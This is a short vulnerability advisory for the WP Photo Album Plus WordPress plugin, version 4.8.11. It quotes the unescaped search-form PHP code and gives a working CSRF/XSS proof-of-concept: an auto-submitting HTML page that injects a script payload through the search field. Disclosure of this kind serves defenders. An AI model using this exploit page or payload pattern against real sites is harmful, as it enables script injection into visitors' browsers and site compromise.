# Date: 29/12/12
# Exploit Author: k3170makan
# Vendor Homepage: http://wordpress.org/extend/plugins/wp-photo-album-plus/

# Version: 4.8.11

Word Press Photo Plus plugin suffers from a XSS/CSRF via Vulnerability in
the "Search Photos" function

Code:
extract from wp-photo-album-plus.php, in widget function
--------------------------------------------------------------------------------------------------------------------------------
42 <form id="wppa_searchform" action="<?php echo($pagelink) ?>"
method="post" class="widget_search">
43 <div>
44 <?php echo $instance['label'] ?>
45 <input type="text" name="wppa-searchstring" id="wppa_s"
value="<?php echo $wppa[ 'searchstring'] ?>" />
46 <input id = "wppa_searchsubmit" type="submit"
value="<?php _e('Search', 'wppa'); ?>" />
47 </div>
---------------------------------------------------------------------------------------------------------------------------------
The above code fails to sanitize the $wppa['searchstring'] variable,
allowing attacks to inject harmfull HTML elements and JavaScript code.
Submissions to this form can also be made from any domain, which actually
aids in the exploitation of the vulnerability thus this is classified as a
CSRF Vulnerability

Exploit Code:
The exploit requires an attacker to forge a post request to this form, this
can be done by using the following html page
--------------------------------------------------------------------------------------------------------------------------------
1 <html>
2 <body onload="xss()">
3 <form name="f" id="wppa_searchform" action="http://[domain name]/[photo
search page path]" method="post" class="widget_search">
4 <input type="text" name="wppa-searchstring" id="wppa_s"
value='"><script>alert(1);</script><textarea>'>
5 <input name="s" id="wppa_searchsubmit" type="submit" value="Search">
6 </form>
7 <script>
8 function xss(){
9 document.f.s.click();
10 }
11 </script>
12 <body>
13 <html>
--------------------------------------------------------------------------------------------------------------------------------
[photo search page path] can be obtained by reading the path set in the
original photo search form attributes
